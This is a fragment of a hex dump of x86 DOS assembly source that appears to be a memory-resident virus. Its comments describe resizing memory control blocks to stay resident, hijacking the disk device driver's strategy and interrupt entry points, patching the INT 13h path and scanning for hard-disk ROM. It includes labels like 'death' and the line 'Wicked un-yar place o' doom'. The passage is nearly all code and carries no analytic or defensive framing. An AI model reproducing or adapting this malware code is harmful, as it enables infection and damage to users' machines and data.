63 78 7a 20 20 |. | jcxz | |00001120| 69 6e 73 74 61 6c 6c 0a | 0a 20 20 20 20 20 20 20 |install.|. | |00001130| 20 20 70 6f 70 20 20 20 | 64 73 20 20 20 20 20 20 | pop |ds | |00001140| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001150| 20 20 20 20 20 20 20 20 | 20 3b 20 52 65 73 74 6f | | ; Resto| |00001160| 72 65 20 73 65 67 6d 65 | 6e 74 20 6f 66 20 66 69 |re segme|nt of fi| |00001170| 72 73 74 0a 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |rst. | mov| |00001180| 20 20 20 61 78 2c 64 73 | 20 20 20 20 20 20 20 20 | ax,ds| | |00001190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000011a0| 20 20 20 20 3b 20 4d 43 | 42 0a 20 20 20 20 20 20 | ; MC|B. | |000011b0| 20 20 20 61 64 64 20 20 | 20 61 78 2c 64 73 3a 5b | add | ax,ds:[| |000011c0| 33 5d 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3] | | |000011d0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 47 6f 20 74 | | ; Go t| |000011e0| 6f 20 6e 65 78 74 20 4d | 43 42 0a 20 20 20 20 20 |o next M|CB. | |000011f0| 20 20 20 20 69 6e 63 20 | 20 20 61 78 20 20 20 20 | inc | ax | |00001200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001210| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 41 58 20 | | ; AX | |00001220| 3d 20 73 65 67 6d 65 6e | 74 20 6e 65 78 74 20 4d |= segmen|t next M| |00001230| 43 42 0a 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |CB. | mov | |00001240| 20 20 64 78 2c 63 73 20 | 20 20 20 20 20 20 20 20 | dx,cs | | |00001250| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001260| 20 20 20 3b 20 44 58 20 | 3d 20 4d 43 42 20 6f 77 | ; DX |= MCB ow| |00001270| 6e 69 6e 67 20 63 75 72 | 72 65 6e 74 0a 20 20 20 |ning cur|rent. | |00001280| 20 20 20 20 20 20 64 65 | 63 20 20 20 64 78 20 20 | de|c dx | |00001290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000012a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 20 | | ; | |000012b0| 20 20 20 20 70 72 6f 67 | 72 61 6d 0a 20 20 20 20 | prog|ram. | |000012c0| 20 20 20 20 20 63 6d 70 | 20 20 20 61 78 2c 64 78 | cmp| ax,dx| |000012d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000012e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 41 72 | | ; Ar| |000012f0| 65 20 74 68 65 73 65 20 | 74 68 65 20 73 61 6d 65 |e these |the same| |00001300| 3f 0a 20 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 |?. | jne | |00001310| 20 6e 6f 5f 62 6f 6f 74 | 20 20 20 20 20 20 20 20 | no_boot| | |00001320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001330| 20 20 3b 20 49 66 20 6e | 6f 74 2c 20 77 65 20 61 | ; If n|ot, we a| |00001340| 72 65 20 6e 6f 74 20 63 | 75 72 72 65 6e 74 6c 79 |re not c|urrently| |00001350| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | | |00001360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001380| 20 3b 20 69 6e 20 74 68 | 65 20 6d 69 64 64 6c 65 | ; in th|e middle| |00001390| 20 6f 66 20 61 20 72 65 | 62 6f 6f 74 0a 20 20 20 | of a re|boot. | |000013a0| 20 20 20 20 20 20 61 64 | 64 20 20 20 77 6f 72 64 | ad|d word| |000013b0| 20 70 74 72 20 64 73 3a | 5b 33 5d 2c 36 31 68 20 | ptr ds:|[3],61h | |000013c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 49 | | ; I| |000013d0| 6e 63 72 65 61 73 65 20 | 6c 65 6e 67 74 68 20 6f |ncrease |length o| |000013e0| 77 6e 65 64 20 62 79 0a | 20 20 20 20 20 20 20 20 |wned by.| | |000013f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001410| 20 20 20 20 20 20 20 20 | 3b 20 4d 43 42 20 62 79 | |; MCB by| |00001420| 20 31 35 35 32 20 62 79 | 74 65 73 0a 6e 6f 5f 62 | 1552 by|tes.no_b| |00001430| 6f 6f 74 3a 20 6d 6f 76 | 20 20 20 64 73 2c 64 78 |oot: mov| ds,dx| |00001440| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001450| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 44 53 | | ; DS| |00001460| 20 3d 20 4d 43 42 20 6f | 77 6e 69 6e 67 20 63 75 | = MCB o|wning cu| |00001470| 72 72 65 6e 74 0a 20 20 | 20 20 20 20 20 20 20 20 |rrent. | | |00001480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000014a0| 20 20 20 20 20 20 3b 20 | 70 72 6f 67 72 61 6d 0a | ; |program.| |000014b0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 77 | | mov w| |000014c0| 6f 72 64 20 70 74 72 20 | 64 73 3a 5b 31 5d 2c 38 |ord ptr |ds:[1],8| |000014d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000014e0| 3b 20 53 65 74 20 6f 77 | 6e 65 72 20 3d 20 44 4f |; Set ow|ner = DO| |000014f0| 53 0a 0a 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |S.. | mov | |00001500| 20 20 64 73 2c 63 78 20 | 20 20 20 20 20 20 20 20 | ds,cx | | |00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001520| 20 20 20 3b 20 44 53 20 | 3d 20 73 65 67 6d 65 6e | ; DS |= segmen| |00001530| 74 20 6f 66 20 6f 72 69 | 67 69 6e 61 6c 0a 20 20 |t of ori|ginal. | |00001540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00001570| 20 20 20 20 20 64 65 76 | 69 63 65 20 64 72 69 76 | dev|ice driv| |00001580| 65 72 0a 20 20 20 20 20 | 20 20 20 20 6c 65 73 20 |er. | les | |00001590| 20 20 61 78 2c 5b 64 69 | 2b 36 5d 20 20 20 20 20 | ax,[di|+6] | |000015a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000015b0| 20 20 20 3b 20 45 53 20 | 3d 20 6f 66 66 73 65 74 | ; ES |= offset| |000015c0| 20 69 6e 74 20 68 61 6e | 64 6c 65 72 0a 20 20 20 | int han|dler. | |000015d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000015e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000015f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 41 | | ; A| |00001600| 58 20 3d 20 6f 66 66 73 | 65 74 20 73 74 72 61 74 |X = offs|et strat| |00001610| 65 67 79 20 65 6e 74 72 | 79 0a 20 20 20 20 20 20 |egy entr|y. | |00001620| 20 20 20 6d 6f 76 20 20 | 20 77 6f 72 64 20 70 74 | mov | word pt| |00001630| 72 20 63 73 3a 73 74 72 | 5f 62 6c 6f 63 6b 2c 61 |r cs:str|_block,a| |00001640| 78 20 20 20 20 20 20 20 | 20 20 3b 20 53 61 76 65 |x | ; Save| |00001650| 20 65 6e 74 72 79 20 70 | 6f 69 6e 74 0a 20 20 20 | entry p|oint. | |00001660| 20 20 20 20 20 20 6d 6f | 76 20 20 20 77 6f 72 64 | mo|v word| |00001670| 20 70 74 72 20 63 73 3a | 69 6e 74 5f 62 6c 6f 63 | ptr cs:|int_bloc| |00001680| 6b 2c 65 73 20 20 20 20 | 20 20 20 20 20 3b 20 41 |k,es | ; A| |00001690| 6e 64 20 69 6e 74 20 62 | 6c 6f 63 6b 20 66 6f 72 |nd int b|lock for| |000016a0| 20 75 73 65 20 69 6e 0a | 20 20 20 20 20 20 20 20 | use in.| | |000016b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000016c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000016d0| 20 20 20 20 20 20 20 20 | 3b 20 66 75 6e 63 74 69 | |; functi| |000016e0| 6f 6e 20 5f 69 6e 0a 20 | 20 20 20 20 20 20 20 20 |on _in. | | |000016f0| 63 6c 64 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cld | | |00001700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001710| 20 20 20 20 20 20 20 3b | 20 53 63 61 6e 20 66 6f | ;| Scan fo| |00001720| 72 20 74 68 65 20 77 72 | 69 74 65 0a 20 20 20 20 |r the wr|ite. | |00001730| 20 20 20 20 20 6d 6f 76 | 20 20 20 73 69 2c 31 20 | mov| si,1 | |00001740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001750| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 66 75 | | ; fu| |00001760| 6e 63 74 69 6f 6e 20 69 | 6e 20 74 68 65 0a 73 63 |nction i|n the.sc| |00001770| 61 6e 3a 20 20 20 20 64 | 65 63 20 20 20 73 69 20 |an: d|ec si | |00001780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |000017a0| 6f 72 69 67 69 6e 61 6c | 20 64 65 76 69 63 65 20 |original| device | |000017b0| 64 72 69 76 65 72 0a 20 | 20 20 20 20 20 20 20 20 |driver. | | |000017c0| 6c 6f 64 73 77 0a 20 20 | 20 20 20 20 20 20 20 63 |lodsw. | c| |000017d0| 6d 70 20 20 20 61 78 2c | 31 65 66 66 68 0a 20 20 |mp ax,|1effh. | |000017e0| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 73 63 61 | j|ne sca| |000017f0| 6e 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |n. | mov | |00001800| 20 61 78 2c 32 63 61 68 | 20 20 20 20 20 20 20 20 | ax,2cah| | |00001810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001820| 20 20 3b 20 57 69 63 6b | 65 64 20 75 6e 2d 79 61 | ; Wick|ed un-ya| |00001830| 72 20 70 6c 61 63 65 20 | 6f 27 0a 20 20 20 20 20 |r place |o'. | |00001840| 20 20 20 20 63 6d 70 20 | 20 20 5b 73 69 2b 34 5d | cmp | [si+4]| |00001850| 2c 61 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,ax | | |00001860| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 64 6f 6f | | ; doo| |00001870| 6d 2e 0a 20 20 20 20 20 | 20 20 20 20 6a 65 20 20 |m.. | je | |00001880| 20 20 72 69 67 68 74 0a | 20 20 20 20 20 20 20 20 | right.| | |00001890| 20 63 6d 70 20 20 20 5b | 73 69 2b 35 5d 2c 61 78 | cmp [|si+5],ax| |000018a0| 0a 20 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 |. | jne | |000018b0| 73 63 61 6e 0a 72 69 67 | 68 74 3a 20 20 20 6c 6f |scan.rig|ht: lo| |000018c0| 64 73 77 0a 20 20 20 20 | 20 20 20 20 20 70 75 73 |dsw. | pus| |000018d0| 68 20 20 63 73 0a 20 20 | 20 20 20 20 20 20 20 70 |h cs. | p| |000018e0| 6f 70 20 20 20 65 73 0a | 20 20 20 20 20 20 20 20 |op es.| | |000018f0| 20 6d 6f 76 20 20 20 64 | 69 2c 6f 66 66 73 65 74 | mov d|i,offset| |00001900| 20 6d 6f 64 69 66 79 2b | 31 20 20 20 20 20 20 20 | modify+|1 | |00001910| 20 20 20 20 20 20 20 20 | 3b 20 53 61 76 65 20 61 | |; Save a| |00001920| 64 64 72 65 73 73 20 6f | 66 20 70 61 74 63 68 0a |ddress o|f patch.| |00001930| 20 20 20 20 20 20 20 20 | 20 73 74 6f 73 77 20 20 | | stosw | |00001940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001950| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001960| 3b 20 61 72 65 61 20 73 | 6f 20 69 74 20 63 61 6e |; area s|o it can| |00001970| 20 62 65 20 63 68 61 6e | 67 65 64 0a 20 20 20 20 | be chan|ged. | |00001980| 20 20 20 20 20 78 63 68 | 67 20 20 61 78 2c 73 69 | xch|g ax,si| |00001990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000019a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6c 61 | | ; la| |000019b0| 74 65 72 2e 0a 20 20 20 | 20 20 20 20 20 20 6d 6f |ter.. | mo| |000019c0| 76 20 20 20 64 69 2c 6f | 66 66 73 65 74 20 69 31 |v di,o|ffset i1| |000019d0| 33 6f 72 67 20 20 20 20 | 20 20 20 20 20 20 20 20 |3org | | |000019e0| 20 20 20 20 20 3b 20 54 | 68 69 73 20 69 73 20 69 | ; T|his is i| |000019f0| 6e 20 74 68 65 20 73 74 | 61 63 6b 2c 20 62 75 74 |n the st|ack, but| |00001a00| 0a 20 20 20 20 20 20 20 | 20 20 63 6c 69 20 20 20 |. | cli | |00001a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001a30| 20 3b 20 69 74 20 69 73 | 20 75 73 65 64 20 62 79 | ; it is| used by| |00001a40| 20 22 69 31 33 70 72 22 | 0a 20 20 20 20 20 20 20 | "i13pr"|. | |00001a50| 20 20 6d 6f 76 73 77 0a | 20 20 20 20 20 20 20 20 | movsw.| | |00001a60| 20 6d 6f 76 73 77 0a 0a | 20 20 20 20 20 20 20 20 | movsw..| | |00001a70| 20 6d 6f 76 20 20 20 64 | 78 2c 30 63 30 30 30 68 | mov d|x,0c000h| |00001a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001a90| 20 20 20 20 20 20 20 20 | 3b 20 53 63 61 6e 20 66 | |; Scan f| |00001aa0| 6f 72 20 68 61 72 64 20 | 64 69 73 6b 20 52 4f 4d |or hard |disk ROM| |00001ab0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | | |00001ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001ae0| 20 3b 20 53 74 61 72 74 | 20 73 65 61 72 63 68 20 | ; Start| search | |00001af0| 40 20 73 65 67 6d 65 6e | 74 20 43 30 30 30 68 0a |@ segmen|t C000h.| |00001b00| 66 64 73 6b 31 3a 20 20 | 20 6d 6f 76 20 20 20 64 |fdsk1: | mov d| |00001b10| 73 2c 64 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |s,dx | | |00001b20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001b30| 3b 20 4c 6f 61 64 20 75 | 70 20 74 68 65 20 73 65 |; Load u|p the se| |00001b40| 67 6d 65 6e 74 0a 20 20 | 20 20 20 20 20 20 20 78 |gment. | x| |00001b50| 6f 72 20 20 20 73 69 2c | 73 69 20 20 20 20 20 20 |or si,|si | |00001b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001b70| 20 20 20 20 20 20 3b 20 | 61 74 61 72 74 20 61 74 | ; |atart at| |00001b80| 20 6f 66 66 73 65 74 20 | 30 30 30 30 68 0a 20 20 | offset |0000h. | |00001b90| 20 20 20 20 20 20 20 6c | 6f 64 73 77 20 20 20 20 | l|odsw | |00001ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00001bc0| 53 63 61 6e 20 66 6f 72 | 20 74 68 65 20 73 69 67 |Scan for| the sig| |00001bd0| 6e 61 74 75 72 65 0a 20 | 20 20 20 20 20 20 20 20 |nature. | | |00001be0| 63 6d 70 20 20 20 61 78 | 2c 30 61 61 35 35 68 20 |cmp ax|,0aa55h | |00001bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001c00| 20 20 20 20 20 20 20 3b | 20 49 73 20 69 74 20 74 | ;| Is it t| |00001c10| 68 65 20 73 69 67 6e 61 | 74 75 72 65 3f 0a 20 20 |he signa|ture?. | |00001c20| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 66 64 73 | j|ne fds| |00001c30| 6b 34 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k4 | | |00001c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00001c50| 49 66 20 6e 6f 74 2c 20 | 63 68 61 6e 67 65 20 73 |If not, |change s| |00001c60| 65 67 6d 65 6e 74 0a 20 | 20 20 20 20 20 20 20 20 |egment. | | |00001c70| 63 62 77 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cbw | | |00001c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001c90| 20 20 20 20 20 20 20 3b | 20 63 6c 65 61 72 20 41 | ;| clear A| |00001ca0| 48 0a 20 20 20 20 20 20 | 20 20 20 6c 6f 64 73 62 |H. | lodsb| |00001cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001cd0| 20 20 3b 20 6c 6f 61 64 | 20 61 20 62 79 74 65 20 | ; load| a byte | |00001ce0| 74 6f 20 41 4c 0a 20 20 | 20 20 20 20 20 20 20 6d |to AL. | m| |00001cf0| 6f 76 20 20 20 63 6c 2c | 39 0a 20 20 20 20 20 20 |ov cl,|9. | |00001d00| 20 20 20 73 61 6c 20 20 | 20 61 78 2c 63 6c 20 20 | sal | ax,cl | |00001d10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001d20| 20 20 20 20 20 20 20 20 | 20 20 3b 20 53 68 69 66 | | ; Shif| |00001d30| 74 20 6c 65 66 74 2c 20 | 30 20 66 69 6c 6c 65 64 |t left, |0 filled| |00001d40| 0a 66 64 73 6b 32 3a 20 | 20 20 63 6d 70 20 20 20 |.fdsk2: | cmp | |00001d50| 5b 73 69 5d 2c 36 63 37 | 68 0a 20 20 20 20 20 20 |[si],6c7|h. | |00001d60| 20 20 20 6a 6e 65 20 20 | 20 66 64 73 6b 33 0a 20 | jne | fdsk3. | |00001d70| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 77 6f | |cmp wo| |00001d80| 72 64 20 70 74 72 20 5b | 73 69 2b 32 5d 2c 34 63 |rd ptr [|si+2],4c| |00001d90| 68 0a 20 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 |h. | jne | |00001da0| 20 66 64 73 6b 33 0a 20 | 20 20 20 20 20 20 20 20 | fdsk3. | | |00001db0| 70 75 73 68 20 20 64 78 | 20 20 20 20 20 20 20 20 |push dx| | |00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001dd0| 20 20 20 20 20 20 20 3b | 20 53 61 76 65 20 74 68 | ;| Save th| |00001de0| 65 20 73 65 67 6d 65 6e | 74 0a 20 20 20 20 20 20 |e segmen|t. | |00001df0| 20 20 20 70 75 73 68 20 | 20 5b 73 69 2b 34 5d 20 | push | [si+4] | |00001e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001e10| 20 20 20 20 20 20 20 20 | 20 20 3b 20 61 6e 64 20 | | ; and | |00001e20| 6f 66 66 73 65 74 20 6f | 6e 20 73 74 61 63 6b 0a |offset o|n stack.| |00001e30| 20 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 73 | | jmp s| |00001e40| 68 6f 72 74 20 64 65 61 | 74 68 20 20 20 20 20 20 |hort dea|th | |00001e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001e60| 3b 20 66 6f 72 20 75 73 | 65 20 62 79 20 69 31 33 |; for us|e by i13| |00001e70| 70 72 0a 0a 69 6e 73 74 | 61 6c 6c 3a 20 69 6e 74 |pr..inst|all: int| |00001e80| 20 20 20 32 30 68 0a 66 | 69 6c 65 3a 20 20 20 20 | 20h.f|ile: | |00001e90| 64 62 20 20 20 20 22 63 | 3a 22 2c 32 35 35 2c 30 |db "c|:",255,0| |00001ea0| 0a 66 64 73 6b 33 3a 20 | 20 20 69 6e 63 20 20 20 |.fdsk3: | inc | |00001eb0| 73 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |si | | |00001ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001ed0| 20 3b 20 49 6e 63 72 65 | 6d 65 6e 74 20 73 65 61 | ; Incre|ment sea| |00001ee0| 72 63 68 20 6f 66 66 73 | 65 74 0a 20 20 20 20 20 |rch offs|et. | |00001ef0| 20 20 20 20 63 6d 70 20 | 20 20 73 69 2c 61 78 20 | cmp | si,ax | |00001f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001f10| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 49 66 20 | | ; If | |00001f20| 77 65 20 61 72 65 20 6e | 6f 74 20 74 6f 6f 20 68 |we are n|ot too h| |00001f30| 69 67 68 2c 0a 20 20 20 | 20 20 20 20 20 20 6a 62 |igh,. | jb| |00001f40| 20 20 20 20 66 64 73 6b | 32 20 20 20 20 20 20 20 | fdsk|2 | |00001f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001f60| 20 20 20 20 20 3b 20 74 | 72 79 20 61 67 61 69 6e | ; t|ry again| |00001f70| 0a 66 64 73 6b 34 3a 20 | 20 20 69 6e 63 20 20 20 |.fdsk4: | inc | |00001f80| 64 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx | | |00001f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001fa0| 20 3b 20 49 6e 63 72 65 | 6d 65 6e 74 20 73 65 61 | ; Incre|ment sea| |00001fb0| 72 63 68 20 73 65 67 6d | 65 6e 74 0a 20 20 20 20 |rch segm|ent. | |00001fc0| 20 20 20 20 20 63 6d 70 | 20 20 20 64 68 2c 30 66 | cmp| dh,0f| |00001fd0| 30 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h | | |00001fe0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 49 66 | | ; If| |00001ff0| 20 77 65 20 61 72 65 20 | 6e 6f 74 20 69 6e 20 68 | we are |not in h| |00002000| 69 67 68 0a 20 20 20 20 | 20 20 20 20 20 6a 62 20 |igh. | jb | |00002010| 20 20 20 66 64 73 6b 31 | 20 20 20 20 20 20 20 20 | fdsk1| | |00002020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002030| 20 20 20 20 3b 20 6d 65 | 6d 6f 72 79 2c 20 74 72 | ; me|mory, tr| |00002040| 79 20 61 67 61 69 6e 0a | 0a 20 20 20 20 20 20 20 |y again.|. | |00002050| 20 20 73 75 62 20 20 20 | 73 70 2c 34 20 20 20 20 | sub |sp,4 | |00002060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002070| 20 20 20 20 20 20 20 20 | 20 3b 20 65 66 66 65 63 | | ; effec| |00002080| 74 69 76 65 6c 79 20 70 | 75 73 68 20 64 75 6d 6d |tively p|ush dumm| |00002090| 79 20 76 61 72 73 2e 0a | 64 65 61 74 68 3a 20 20 |y vars..|death: | |000020a0| 20 70 75 73 68 20 20 63 | 73 20 20 20 20 20 20 20 | push c|s | |000020b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000020c0| 20 20 20 20 20 20 20 20 | 3b 20 6f 6e 20 73 74 61 | |; on sta| |000020d0| 63 6b 20 66 6f 72 20 75 | 73 65 20 62 79 20 69 31 |ck for u|se by i1| |000020e0| 33 70 72 0a 20 20 20 20 | 20 20 20 20 20 70 6f 70 |3pr. | pop| |000020f0| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 20 6d | ds. | m| |00002100| 6f 76 20 20 20 62 78 2c | 64 73 3a 5b 32 63 68 5d |ov bx,|ds:[2ch]| |00002110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002120| 20 20 20 20 20 20 3b 20 | 47 65 74 20 65 6e 76 69 | ; |Get envi| |00002130| 72 6f 6e 6d 65 6e 74 20 | 66 72 6f 6d 20 50 53 50 |ronment |from PSP| |00002140| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00002150| 65 73 2c 62 78 0a 20 20 | 20 20 20 20 20 20 20 6d |es,bx. | m| |00002160| 6f 76 20 20 20 61 68 2c | 34 39 68 20 20 20 20 20 |ov ah,|49h | |00002170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002180| 20 20 20 20 20 20 3b 20 | 52 65 6c 65 61 73 65 20 | ; |Release | |00002190| 69 74 20 28 74 6f 20 73 | 61 76 65 20 6d 65 6d 6f |it (to s|ave memo| |000021a0| 72 79 29 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |ry). | cal| |000021b0| 6c 20 20 6a 75 6d 70 0a | 20 20 20 20 20 20 20 20 |l jump.| | |000021c0| 20 78 6f 72 20 20 20 61 | 78 2c 61 78 0a 20 20 20 | xor a|x,ax. | |000021d0| 20 20 20 20 20 20 74 65 | 73 74 20 20 62 78 2c 62 | te|st bx,b| |000021e0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |000021f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 49 | | ; I| |00002200| 73 20 42 58 20 3d 20 30 | 3f 0a 20 20 20 20 20 20 |s BX = 0|?. | |00002210| 20 20 20 6a 7a 20 20 20 | 20 62 6f 6f 74 20 20 20 | jz | boot | |00002220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002230| 20 20 20 20 20 20 20 20 | 20 20 3b 20 49 66 20 73 | | ; If s| |00002240| 6f 2c 20 77 65 20 61 72 | 65 20 62 6f 6f 74 69 6e |o, we ar|e bootin| |00002250| 67 20 6e 6f 77 0a 20 20 | 20 20 20 20 20 20 20 6d |g now. | m| |00002260| 6f 76 20 20 20 64 69 2c | 31 20 20 20 20 20 20 20 |ov di,|1 | |00002270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002280| 20 20 20 20 20 20 3b 20 | 61 6e 64 20 6e 6f 74 20 | ; |and not | |00002290| 72 75 6e 6e 69 6e 67 20 | 61 20 66 69 6c 65 0a 73 |running |a file.s| |000022a0| 65 65 6b 3a 20 20 20 20 | 64 65 63 20 20 20 64 69 |eek: |dec di| |000022b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000022c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000022d0| 20 53 65 61 72 63 68 20 | 66 6f 72 20 65 6e 64 20 | Search |for end | |000022e0| 6f 66 0a 20 20 20 20 20 | 20 20 20 20 73 63 61 73 |of. | scas| |000022f0| 77 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w | | |00002300| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002310| 20 20 20 3b 20 74 68 65 | 20 65 6e 76 69 72 6f 6e | ; the| environ| |00002320| 6d 65 6e 74 20 62 6c 6f | 63 6b 0a 20 20 20 20 20 |ment blo|ck. | |00002330| 20 20 20 20 6a 6e 65 20 | 20 20 73 65 65 6b 0a 20 | jne | seek. | |00002340| 20 20 20 20 20 20 20 20 | 6c 65 61 20 20 20 73 69 | |lea si| |00002350| 2c 5b 64 69 2b 32 5d 20 | 20 20 20 20 20 20 20 20 |,[di+2] | | |00002360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00002370| 20 53 49 20 70 6f 69 6e | 74 73 20 74 6f 20 66 69 | SI poin|ts to fi| |00002380| 6c 65 6e 61 6d 65 0a 20 | 20 20 20 20 20 20 20 20 |lename. | | |00002390| 6a 6d 70 20 20 20 73 68 | 6f 72 74 20 65 78 65 63 |jmp sh|ort exec| |000023a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000023b0| 20 20 20 20 20 20 20 3b | 20 28 69 6e 20 44 4f 53 | ;| (in DOS| |000023c0| 20 33 2e 58 2b 29 0a 20 | 20 20 20 20 20 20 20 20 | 3.X+). | | |000023d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 